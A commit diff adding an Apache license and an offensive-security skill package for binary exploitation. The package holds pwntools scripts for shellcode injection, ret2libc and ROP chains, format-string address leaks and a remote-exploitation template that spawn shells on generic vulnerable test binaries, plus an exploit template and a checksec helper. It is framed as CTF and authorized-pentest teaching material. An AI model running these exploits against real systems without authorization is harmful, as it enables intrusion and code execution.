reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,459 @@
|
||||
---
|
||||
name: performing-binary-exploitation-analysis
|
||||
description: 'Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept
|
||||
exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use
|
||||
when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR,
|
||||
stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: offensive-security
|
||||
tags:
|
||||
- binary-exploitation
|
||||
- pwntools
|
||||
- rop-chains
|
||||
- buffer-overflow
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- ID.RA-01
|
||||
- GV.OV-02
|
||||
- DE.AE-07
|
||||
mitre_attack:
|
||||
- T1078
|
||||
- T1190
|
||||
- T1059
|
||||
---
|
||||
|
||||
# Performing Binary Exploitation Analysis
|
||||
|
||||
**For authorized security testing and CTF challenges only.**
|
||||
|
||||
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
|
||||
and pwntools for buffer overflow and ROP chain development.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
|
||||
- Solving binary exploitation challenges in CTF competitions
|
||||
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
|
||||
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
|
||||
- Training security engineers in exploit development techniques for defensive awareness
|
||||
- Validating that security patches for buffer overflow vulnerabilities are effective
|
||||
|
||||
**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Linux system (Ubuntu/Debian recommended) for exploit development
|
||||
- Python 3.8+ with `pwntools` (`pip install pwntools`)
|
||||
- GDB with `pwndbg` or `GEF` plugin for enhanced debugging
|
||||
- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)
|
||||
- `checksec` (included with pwntools or standalone via `apt install checksec`)
|
||||
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
|
||||
- Basic understanding of x86/x86_64 calling conventions and stack layout
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Install the Exploitation Toolkit
|
||||
|
||||
```bash
|
||||
# Install pwntools and dependencies
|
||||
pip install pwntools ROPgadget
|
||||
|
||||
# Install GDB with pwndbg plugin
|
||||
git clone https://github.com/pwndbg/pwndbg
|
||||
cd pwndbg && ./setup.sh
|
||||
|
||||
# Alternatively, install GEF (GDB Enhanced Features)
|
||||
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
|
||||
|
||||
# Install supporting tools
|
||||
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
|
||||
|
||||
# Verify installation
|
||||
python3 -c "from pwn import *; print('pwntools version:', version)"
|
||||
checksec --version
|
||||
ROPgadget --version
|
||||
```
|
||||
|
||||
### Step 2: Analyze Binary Protections with checksec
|
||||
|
||||
Before writing any exploit, enumerate the security mitigations compiled into the binary:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Load the target binary
|
||||
binary_path = "./vulnerable_server"
|
||||
elf = ELF(binary_path)
|
||||
|
||||
# checksec output explains what mitigations are in place
|
||||
print(f"Architecture: {elf.arch}")
|
||||
print(f"Bits: {elf.bits}")
|
||||
print(f"Endianness: {elf.endian}")
|
||||
print()
|
||||
|
||||
# Key security properties
|
||||
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
|
||||
# Stack Canary: Detects stack buffer overflows via random canary value
|
||||
# NX (No-eXecute): Prevents executing code on the stack (DEP)
|
||||
# PIE: Position Independent Executable, randomizes base address
|
||||
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
|
||||
|
||||
# Also available via command line:
|
||||
# checksec --file=./vulnerable_server
|
||||
```
|
||||
|
||||
```bash
|
||||
# Command-line checksec output example:
|
||||
checksec --file=./vulnerable_server
|
||||
# RELRO STACK CANARY NX PIE
|
||||
# Partial RELRO No canary found NX disabled No PIE
|
||||
|
||||
# Check ASLR status on the system
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
# 0 = disabled, 1 = conservative, 2 = full randomization
|
||||
```
|
||||
|
||||
### Step 3: Find the Buffer Overflow Offset
|
||||
|
||||
Determine exactly how many bytes are needed to overwrite the return address:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
context.binary = ELF("./vulnerable_server")
|
||||
context.log_level = "info"
|
||||
|
||||
# Method 1: Use cyclic pattern to find exact offset
|
||||
# Generate a unique cyclic pattern
|
||||
pattern_length = 200
|
||||
pattern = cyclic(pattern_length)
|
||||
print(f"Generated cyclic pattern of length {pattern_length}")
|
||||
|
||||
# Send the pattern to the binary
|
||||
p = process("./vulnerable_server")
|
||||
p.sendline(pattern)
|
||||
p.wait()
|
||||
|
||||
# After the crash, read the value in RIP/EIP from core dump or GDB
|
||||
# Then find the offset:
|
||||
# For 64-bit: crashed_value = p.corefile.fault_addr
|
||||
# Or manually from GDB: "info registers rip" after crash
|
||||
crashed_rip = 0x6161616c # Example value from crash
|
||||
offset = cyclic_find(crashed_rip)
|
||||
print(f"Offset to return address: {offset} bytes")
|
||||
|
||||
# Method 2: Use GDB with pwndbg to find offset interactively
|
||||
# In GDB:
|
||||
# pwndbg> cyclic 200
|
||||
# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
|
||||
# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
|
||||
```
|
||||
|
||||
### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
|
||||
|
||||
When NX is disabled, inject and execute shellcode directly on the stack:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_path = "./vulnerable_server"
|
||||
context.binary = ELF(binary_path)
|
||||
context.arch = "amd64" # or "i386" for 32-bit
|
||||
|
||||
OFFSET = 72 # Determined in Step 3
|
||||
|
||||
# Generate shellcode
|
||||
# execve("/bin/sh", NULL, NULL) - spawn a shell
|
||||
shellcode = asm(shellcraft.sh())
|
||||
print(f"Shellcode length: {len(shellcode)} bytes")
|
||||
|
||||
# Build the exploit payload
|
||||
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
|
||||
nop_sled = asm("nop") * 32
|
||||
|
||||
# For a local exploit without ASLR, we can estimate the buffer address
|
||||
# Run in GDB first to find the buffer address:
|
||||
# break *main+XX (after read/gets call)
|
||||
# x/20x $rsp
|
||||
buffer_addr = 0x7fffffffe000 # Example - get from GDB
|
||||
|
||||
padding_len = OFFSET - len(nop_sled) - len(shellcode)
|
||||
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
|
||||
|
||||
# Launch exploit
|
||||
p = process(binary_path)
|
||||
p.sendline(payload)
|
||||
p.interactive() # Interact with the spawned shell
|
||||
```
|
||||
|
||||
### Step 5: Build a ROP Chain (NX Enabled)
|
||||
|
||||
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
|
||||
|
||||
```bash
|
||||
# Find ROP gadgets in the binary
|
||||
ROPgadget --binary ./vulnerable_server
|
||||
|
||||
# Find specific gadgets
|
||||
ROPgadget --binary ./vulnerable_server --only "pop|ret"
|
||||
ROPgadget --binary ./vulnerable_server --only "mov|ret"
|
||||
|
||||
# Search for gadgets to control registers for syscall
|
||||
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
|
||||
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
|
||||
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
|
||||
ROPgadget --binary ./vulnerable_server | grep "syscall"
|
||||
|
||||
# Find gadgets in libc (for ret2libc attacks)
|
||||
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
|
||||
```
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binary_path = "./vulnerable_server"
|
||||
elf = ELF(binary_path)
|
||||
context.binary = elf
|
||||
|
||||
OFFSET = 72
|
||||
|
||||
# Method 1: ret2libc - call system("/bin/sh") via libc
|
||||
# When the binary is dynamically linked and we know libc version
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
|
||||
# Start process to leak libc address
|
||||
p = process(binary_path)
|
||||
|
||||
# If there is a format string or info leak, use it to find libc base
|
||||
# Example: binary prints puts@GOT address
|
||||
p.recvuntil(b"puts address: ")
|
||||
puts_leak = int(p.recvline().strip(), 16)
|
||||
libc.address = puts_leak - libc.symbols["puts"]
|
||||
log.success(f"libc base: {hex(libc.address)}")
|
||||
|
||||
# Find a "pop rdi; ret" gadget for x86_64 calling convention
|
||||
# First argument goes in RDI register
|
||||
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
|
||||
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment
|
||||
|
||||
# Build the ROP chain: system("/bin/sh")
|
||||
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
|
||||
system_addr = libc.symbols["system"]
|
||||
|
||||
rop_chain = flat(
|
||||
b"A" * OFFSET, # Padding to reach return address
|
||||
ret_gadget, # Stack alignment (needed for movaps in system)
|
||||
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
|
||||
bin_sh_addr, # Address of "/bin/sh" string in libc
|
||||
system_addr, # Call system()
|
||||
)
|
||||
|
||||
p.sendline(rop_chain)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### Step 6: Use pwntools ROP Helper for Automated Chain Building
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binary_path = "./vulnerable_server"
|
||||
elf = ELF(binary_path)
|
||||
context.binary = elf
|
||||
|
||||
OFFSET = 72
|
||||
|
||||
# pwntools automatic ROP chain builder
|
||||
rop = ROP(elf)
|
||||
|
||||
# If the binary has enough gadgets, pwntools can build chains automatically
|
||||
# For execve("/bin/sh", 0, 0) syscall:
|
||||
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
|
||||
rop.call(elf.symbols["main"]) # Return to main for second stage
|
||||
|
||||
# Print the ROP chain for debugging
|
||||
print(rop.dump())
|
||||
|
||||
# Build first-stage payload (leak libc)
|
||||
stage1 = flat(
|
||||
b"A" * OFFSET,
|
||||
rop.chain()
|
||||
)
|
||||
|
||||
p = process(binary_path)
|
||||
p.sendline(stage1)
|
||||
|
||||
# Parse the leaked puts address
|
||||
p.recvuntil(b"\n") # Skip program output
|
||||
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
|
||||
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
|
||||
|
||||
# Calculate libc base
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
libc.address = leaked_puts - libc.symbols["puts"]
|
||||
log.success(f"libc base: {hex(libc.address)}")
|
||||
|
||||
# Build second-stage ROP chain using libc gadgets
|
||||
rop2 = ROP(libc)
|
||||
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
|
||||
|
||||
stage2 = flat(
|
||||
b"A" * OFFSET,
|
||||
rop2.chain()
|
||||
)
|
||||
|
||||
p.sendline(stage2)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### Step 7: Debug Exploits with GDB and pwndbg
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binary_path = "./vulnerable_server"
|
||||
elf = ELF(binary_path)
|
||||
context.binary = elf
|
||||
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]
|
||||
|
||||
# Launch binary under GDB with pwndbg
|
||||
p = gdb.debug(binary_path, """
|
||||
# Set breakpoints at key locations
|
||||
break *main
|
||||
break *main+85
|
||||
|
||||
# Continue to the vulnerable function
|
||||
continue
|
||||
""")
|
||||
|
||||
# GDB commands useful during exploit development:
|
||||
# pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
|
||||
# pwndbg> checksec - Show binary protections
|
||||
# pwndbg> search -s "/bin/sh" - Find string in memory
|
||||
# pwndbg> rop --grep "pop rdi" - Search for gadgets
|
||||
# pwndbg> cyclic 200 - Generate cyclic pattern
|
||||
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
|
||||
# pwndbg> telescope $rsp 20 - Show stack contents
|
||||
# pwndbg> x/20gx $rsp - Examine stack as 64-bit values
|
||||
# pwndbg> heap - Analyze heap state
|
||||
# pwndbg> got - Show GOT entries and resolved addresses
|
||||
# pwndbg> plt - Show PLT entries
|
||||
|
||||
OFFSET = 72
|
||||
payload = b"A" * OFFSET + p64(0xdeadbeef)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### Step 8: Handle PIE and ASLR with Information Leaks
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binary_path = "./vulnerable_pie_binary"
|
||||
elf = ELF(binary_path)
|
||||
context.binary = elf
|
||||
|
||||
# When PIE is enabled, we need to leak a code address to defeat randomization
|
||||
# Common leak techniques:
|
||||
# 1. Format string vulnerability: %p to leak stack/code pointers
|
||||
# 2. Partial overwrite: overwrite only lower bytes of a pointer
|
||||
# 3. Uninitialized memory: read stack memory containing code pointers
|
||||
|
||||
p = process(binary_path)
|
||||
|
||||
# Example: Using a format string leak to defeat PIE
|
||||
# If the binary has a printf(user_input) vulnerability:
|
||||
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
leak_output = p.recvline().strip().decode()
|
||||
leaked_addrs = leak_output.split(".")
|
||||
|
||||
# Parse leaked addresses to find a code pointer
|
||||
for i, addr in enumerate(leaked_addrs):
|
||||
try:
|
||||
val = int(addr, 16)
|
||||
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
|
||||
if 0x550000000000 <= val <= 0x560000000000:
|
||||
log.info(f"Offset {i}: {addr} (likely PIE code address)")
|
||||
# libc addresses typically at 0x7fXXXXXXXXXX
|
||||
elif 0x7f0000000000 <= val <= 0x800000000000:
|
||||
log.info(f"Offset {i}: {addr} (likely libc address)")
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
# Once we have a leaked PIE address, calculate the binary base
|
||||
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
|
||||
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
|
||||
log.success(f"PIE base: {hex(elf.address)}")
|
||||
|
||||
# Now we can use absolute addresses in our ROP chain
|
||||
rop = ROP(elf)
|
||||
# ... build chain using elf.symbols which are now correctly rebased
|
||||
```
|
||||
|
||||
### Step 9: Exploit a Remote Target
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
REMOTE_HOST = "target.ctf.example.com"
|
||||
REMOTE_PORT = 9001
|
||||
binary_path = "./vulnerable_server"
|
||||
|
||||
elf = ELF(binary_path)
|
||||
context.binary = elf
|
||||
|
||||
def exploit(target):
|
||||
"""Run the full exploit chain against a target (local or remote)."""
|
||||
OFFSET = 72
|
||||
|
||||
# Stage 1: Leak libc
|
||||
rop1 = ROP(elf)
|
||||
rop1.call("puts", [elf.got["puts"]])
|
||||
rop1.call(elf.symbols["main"])
|
||||
|
||||
payload1 = flat(b"A" * OFFSET, rop1.chain())
|
||||
target.sendlineafter(b"Input: ", payload1)
|
||||
|
||||
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
|
||||
log.success(f"Leaked puts: {hex(leaked)}")
|
||||
|
||||
# Stage 2: ret2libc
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
libc.address = leaked - libc.symbols["puts"]
|
||||
|
||||
rop2 = ROP(libc)
|
||||
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
|
||||
|
||||
payload2 = flat(b"A" * OFFSET, rop2.chain())
|
||||
target.sendlineafter(b"Input: ", payload2)
|
||||
|
||||
target.interactive()
|
||||
|
||||
# Test locally first
|
||||
log.info("Testing exploit locally...")
|
||||
local = process(binary_path)
|
||||
exploit(local)
|
||||
|
||||
# Then run against remote target
|
||||
# log.info("Running exploit against remote target...")
|
||||
# remote = remote(REMOTE_HOST, REMOTE_PORT)
|
||||
# exploit(remote)
|
||||
```
|
||||
|
||||
## Verification
|
||||
|
||||
- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
|
||||
- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value
|
||||
- Test shellcode payloads execute correctly in a controlled environment with NX disabled
|
||||
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
|
||||
- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used
|
||||
- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses
|
||||
- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
|
||||
- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
|
||||
@@ -0,0 +1,74 @@
|
||||
# API Reference: Binary Exploitation Analysis
|
||||
|
||||
## pwntools (Python)
|
||||
```bash
|
||||
pip install pwntools
|
||||
```
|
||||
|
||||
### ELF Analysis
|
||||
```python
|
||||
from pwn import ELF, ROP, context
|
||||
|
||||
elf = ELF('./vulnerable_binary')
|
||||
print(elf.checksec()) # Security mitigations
|
||||
print(hex(elf.sym['main'])) # Symbol address
|
||||
print(hex(elf.plt['system'])) # PLT entry
|
||||
print(hex(elf.got['puts'])) # GOT entry
|
||||
|
||||
# ROP gadget discovery
|
||||
rop = ROP(elf)
|
||||
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
|
||||
ret = rop.find_gadget(['ret'])[0]
|
||||
```
|
||||
|
||||
### Exploit Template
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
context.binary = elf = ELF('./vuln')
|
||||
p = process('./vuln') # or remote('host', port)
|
||||
payload = flat(b'A' * offset, pop_rdi, next(elf.search(b'/bin/sh')), elf.plt['system'])
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## checksec CLI
|
||||
```bash
|
||||
checksec --file ./binary
|
||||
checksec --file ./binary --output json
|
||||
```
|
||||
|
||||
### Output Fields
|
||||
| Field | Values | Impact |
|
||||
|-------|--------|--------|
|
||||
| NX | Enabled/Disabled | No shellcode on stack |
|
||||
| PIE | Enabled/Disabled | Randomized addresses |
|
||||
| Canary | Found/Not found | Stack smash detection |
|
||||
| RELRO | Full/Partial/None | GOT write protection |
|
||||
|
||||
## ROPgadget CLI
|
||||
```bash
|
||||
# Find all gadgets
|
||||
ROPgadget --binary ./vuln
|
||||
|
||||
# Search specific gadget
|
||||
ROPgadget --binary ./vuln --only "pop|ret"
|
||||
|
||||
# Generate ROP chain
|
||||
ROPgadget --binary ./vuln --ropchain
|
||||
```
|
||||
|
||||
## Dangerous Functions
|
||||
| Function | Risk |
|
||||
|----------|------|
|
||||
| gets() | Unbounded stdin read |
|
||||
| strcpy() | No length check |
|
||||
| sprintf() | No length check |
|
||||
| scanf() | Possible overflow |
|
||||
|
||||
## MITRE ATT&CK
|
||||
| Technique | Description |
|
||||
|-----------|------------|
|
||||
| T1203 | Exploitation for Client Execution |
|
||||
| T1068 | Exploitation for Privilege Escalation |
|
||||
| T1211 | Exploitation for Defense Evasion |
|
||||
@@ -0,0 +1,200 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Binary exploitation analysis agent.
|
||||
|
||||
# For authorized security testing and CTF challenges only
|
||||
|
||||
Analyzes ELF binaries for security mitigations, discovers ROP gadgets,
|
||||
and assists exploit development using pwntools and checksec.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import datetime
|
||||
|
||||
try:
|
||||
from pwn import ELF, ROP
|
||||
HAS_PWNTOOLS = True
|
||||
except ImportError:
|
||||
HAS_PWNTOOLS = False
|
||||
|
||||
|
||||
def run_checksec(binary_path):
|
||||
"""Analyze binary security mitigations using checksec."""
|
||||
if HAS_PWNTOOLS:
|
||||
try:
|
||||
elf = ELF(binary_path, checksec=False)
|
||||
return {
|
||||
"arch": elf.arch,
|
||||
"bits": elf.bits,
|
||||
"endian": elf.endian,
|
||||
"nx": elf.nx,
|
||||
"pie": elf.pie,
|
||||
"canary": elf.canary,
|
||||
"relro": "Full" if elf.relro == "Full" else ("Partial" if elf.relro else "None"),
|
||||
"stripped": not elf.sym,
|
||||
"static": elf.statically_linked,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
try:
|
||||
result = subprocess.run(["checksec", "--file", binary_path, "--output", "json"],
|
||||
capture_output=True, text=True, timeout=10)
|
||||
if result.stdout:
|
||||
return json.loads(result.stdout)
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError):
|
||||
pass
|
||||
return {"error": "Neither pwntools nor checksec available"}
